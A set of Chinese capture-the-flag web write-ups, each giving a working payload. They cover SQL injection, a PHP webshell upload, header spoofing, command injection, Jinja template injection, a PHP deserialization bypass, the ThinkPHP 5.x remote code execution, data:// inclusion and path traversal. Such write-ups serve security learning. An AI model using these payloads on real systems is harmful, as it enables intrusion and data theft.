目录
NewsCenter
post类型的sql注入,payload如下:
search=1’+order+by+3#
search=1'+union+select+1,2,3#
search=1'+union+select+1,2,database()#
search=1'+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema='news'#
search=1'+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name='secret_table'#
search=1'+union+select+1,2,group_concat(fl4g)+from+secret_table#
upload1
F12查看源代码,发现是前端验证,后缀需要是jpg或者png
将一句话木马保存为1.jpg,bp抓包将后缀改回php即可绕过前端验证
蚁剑连接得到flag
xff_referer
点进去提示我们ip地址必须为123.123.123.123,用bp伪造xff为123.123.123.123
又提示我们必须来自https://www.google.com,添加referer为https://www.google.com即可
command_execution
题目说了没有写waf,所以不用考虑过滤的问题,这里用分号
输入1;ls,没有发现flag
1;ls /,也没有发现flag
用find命令查找一下,1;find / -name 'flag*',*代表通配符,代表查找所有以flag开头的文件,发现flag路径为/home/flag.txt
cat一下得到flag,1;cat /home/flag.txt
web2
给了段加密代码
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str); //将传入的str逆序
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){ //其实就是将$_o每一位字符的ascii码加1,得到一个新的字符串$_
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_))); //对$_先base64加密,再逆序,再rot13加密
}
解密思路:
密文是由$_经base64加密,再逆序后rot13加密得到的,所以先对其rot13解密,得到n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf,再将其逆序base64解密得到~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg
接下来就是对函数encode进行逆向解密
$_是由str字符串逆序后每一位字符加1得到的,所以只要将解密得到的字符串每位减1再逆序即可得到flag
str="~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg"#密文经rot13解密,再逆序base64加密得到的字符串
flag=''
for i in str:
s=chr(ord(i)-1) #每位减一
flag+=s
print(flag[::-1]) #将其逆序输出,得到真正的flag
Web_python_template_injection
判断是否存在模块注入,http://61.147.171.105:64722/{{1+1}}
出现2说明1+1被执行了,存在模块注入
{{''.__class__.__mro__[2].__subclasses__()}},寻找可用引用
第40个位置处有<type ‘file’>可以进行文件读取
第71个位置处有<class ‘site._Printer’>可以进行命令执行
命令执行
//Windows操作系统
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
//Linux操作系统
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}
//[71]为<class ‘site._Printer’>出现位置
也可以用
{{config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read()}}
读取flag
{{config.__class__.__init__.__globals__[%27os%27].popen(%27cat fl4g%27).read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) { //将file的值赋值为你传入的值
$this->file = $file;
}
function __destruct() { //输出file的内容
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') //如果传入的file值不等于index.php就强行转为index.php
{
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']); //对GET传入的var进行base64解码
if (preg_match('/[oc]:\d+:/i', $var)) //匹配var中如果有o:数字或者c:数字的情况就输出stop hacking!
{
die('stop hacking!');
} else
{
@unserialize($var); //反序列化var
}
} else {
highlight_file("index.php");
}
?>
这题的主要思路在于绕过正则表达式,和阻止wake_up函数运行,根据题目给的信息知道flag在fl4g.php中,进行序列化,代码如下
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=serialize(new Demo('fl4g.php'));
echo $a;
?>
运行代码得到
可以看到序列化得到的字符串开头存在O:数字的形式,所以会被过滤,用+4的方法绕过
$a = str_replace('O:4', 'O:+4',$a);
接下来要绕过wake_up函数,由于在反序列化时会自动调用wake_up函数,所以想要绕过只要使反序列化失败,修改Demo的值即可
$a = str_replace('1:', '2:',$a);
完整代码:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=serialize(new Demo('fl4g.php'));
echo $a;
echo "\n";
$a = str_replace('O:4', 'O:+4',$a);
echo $a;
echo "\n";
$a = str_replace('1:', '2:',$a);
echo $a;
echo "\n";
echo base64_encode($a);
?>
payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
php_rce
根据页面和题目给的信息可以知道是ThinkPHP 5.x的远程命令执行漏洞,漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行
payload:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
Web_php_include
常用的php伪协议有php://filter,php://input,zip://,file://,data://
这题过滤了php://,而zip://协议常用于文件上传,file://协议用于本地文件读取,所以这题可以采用data://协议,其用法与php://input类似。
payload:
?page=data://text/plain,<?php system('ls'); ?>
?page=data://text/plain,<?php system('cat fl4gisisish3r3.php'); ?>
supersqli
看题目和页面可以知道这是一道sql注入题
?inject=1',测试一下单引号发现报错
?inject=1' --+,闭合后面的引号
?inject=1' order by 2--+,order by判断出有两个字段
?inject=1' union select 1,2--+,查询回显位时发现存在过滤
原来想着用盲注,跑出来数据库为supersqli,但是后面还是得用到select,无法绕过,那么可以尝试一下堆叠注入
?inject=1';show databases;--+,发现数据库supersqli
?inject=1';use supersqli;show tables;--+,列出supersqli数据库下的表名
?inject=1';use supersqli;show columns from `1919810931114514`;--+,发现flag字段
到这里就不会了,搜了一下wp,发现有两种做法
第一种是将将1919810931114514的表名和words交换,这样就可以直接在页面中查到flag
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
将两个表交换,再用?inject=1' or 1=1--+就能查到flag
第二种是利用MySQL的预编译
1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;--+
warmup
打开页面给了一张图,F12查看源代码发现source.php,访问一下得到一段代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//设置白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//检查page是否在白名单中
return true;
}
$_page = mb_substr(//mb_stustr截取字符串 mb_strpos查找字符串
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])//file不为空
&& is_string($_REQUEST['file'])//file必须是字符串
&& emmm::checkFile($_REQUEST['file'])//调用checkFile进行检查
) {
include $_REQUEST['file'];//包含传入的file
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
这里给了hint.php,访问一下,发现flag文件名
根据代码构造payload,为了第一个绕过白名单所以传入的file中应该包含source.php或hint.php,接下来是截取字符串,截取第0到第一次出现?的位置,对其进行白名单检测,所以应该传入soure.php?,接下来就是要读取flag,前面条件都满足后,就会包含你传入的file参数,这里我们已经知道了flag的文件名,就可以采用目录穿越的方式来读取
最终payload:?file=source.php?../../../../../ffffllllaaaagggg